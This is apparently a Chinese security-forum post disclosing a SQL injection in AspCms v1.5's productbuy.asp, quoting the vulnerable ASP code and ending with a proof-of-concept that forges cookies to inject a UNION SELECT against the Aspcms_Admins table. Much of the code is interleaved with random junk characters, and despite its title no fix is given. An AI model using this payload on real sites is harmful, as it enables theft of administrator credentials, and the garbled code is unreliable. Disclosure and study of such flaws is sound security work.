AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
, E) r9 Z( e* [- c& k2 C$ o1 o1 p' d也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
# |$ a7 E/ F" j. N4 E& r! Q% \, p4 i废话不多说，看代码：
; ^6 V- ~, n# u. R# N
<%
# r2 G' L3 i! C
if action = "buy" then
% N, T4 Q$ O5 Q# f
        addOrder()
; _1 T+ e3 c$ n/ Q" J9 p
' b# W: t# h+ i0 p. k  }2 selse

9 q" z) T# Y& K+ k- F7 {; X8 G0 x        echoContent()

end if



4 ^& v0 h9 m- A2 u0 e) E4 s……略过


* o6 X/ N& W  ^3 {
Sub echoContent()
- W" _$ g% z7 a" J. E
  O5 o& q4 b3 R7 k. O" a        dim id

        id=getForm("id","get")
9 U, W* v+ n, I* ?* V0 t
        
' E% f" g1 H% R" w6 l% t$ j9 O
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
6 H- E; K% c$ i- r  P
        
0 q4 ?8 a" K; L( U) e' A
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

/ k5 C4 w2 P( W5 c7 C- g        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
$ a) e2 a% W: Z3 [+ l* k
% z( c* \) h0 W) a$ d        Dim templatePath,tempStr

        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
& l& o$ Q" F$ \6 m  ?

* a& h: b6 R8 ~! r& J% k8 M- v/ L
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
0 F0 y/ v# g& W% \) H
        selectproduct=rsObj(0)
- g) w) c* P- o$ a3 U4 }# t6 j
        
4 S# o# s6 H) p& ]* X
; o$ _' F. k9 y/ ?+ p        Dim linkman,gender,phone,mobile,email,qq,address,postcode
) }* [& n7 q2 M; }! K9 D" _. f* M
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

        if rCookie("loginstatus")=1 then  

                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

+ z' B/ Y6 m2 Z, K$ }                linkman=rsObj("truename")

5 Z8 W! W0 {/ k: q                gender=rsObj("gender")
9 {) d0 F; l6 s0 I% i1 l
& b: B9 B: @4 j! g1 ~                phone=rsObj("phone")
, Q* U" n  |9 `0 s  E
                mobile=rsObj("mobile")

' [* ^: }! y4 I1 T; a                email=rsObj("email")

! f* w- Z; b. C                qq=rsObj("qq")
. p7 V* ~% `( m! w
0 @& q$ ?4 R: _5 c4 W7 r                address=rsObj("address")

$ m3 v  J3 F' O+ s2 S! a  `6 g                postcode=rsObj("postcode")
0 ?" ^) Z$ D5 s* ^
/ O7 j9 w4 v) I' O        else

                gender=1

0 j& V6 q0 H2 N6 W4 ]9 F4 j        end if
- g) Z5 }! I: M9 t/ R0 H8 Y( q
; p: K5 k& q3 |8 T+ l1 v. i& q" N        rsObj.close()

               
2 M9 M0 {* A+ A; C- Z, `; j$ n
        with templateObj

# \' F5 m* n$ j/ L6 }                .content=loadFile(templatePath)        
6 a6 z; |7 }4 u+ m& R! b
                .parseHtml()
5 s* {1 Q; s3 l3 O' N
, \4 X0 ?2 q5 e5 C4 B                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
$ s7 t! L( D, R
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
8 {/ ]- v0 ?: A8 T: m* h* g
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
; _* z" X' o; x: j: e' G/ C2 [  H& p
! ~3 q# r& a; U' g1 y- U: l                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

                .content=replaceStr(.content,"[aspcms:email]",email)                        
$ R1 I9 Z& e- B' m$ W2 ~0 S9 w
3 r% Y: e2 `# Z- b& a                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
; s0 x- ?8 J& U7 S! `
                .content=replaceStr(.content,"[aspcms:address]",address)                        

                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

                .parseCommon()                 

! i# V' S% T1 e; ]# @4 L                echo .content
5 n& r' p6 \6 R, {
, b& f8 G0 a6 f: \, J; y& H6 x        end with

7 i( ^3 i( J( n* M! T        set templateobj =nothing : terminateAllObjects

End Sub
漏洞很明显，没啥好说的
poc：

: C) F( m/ S$ A. {, o' L2 ]javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
  @) X! J. H" A# y8 e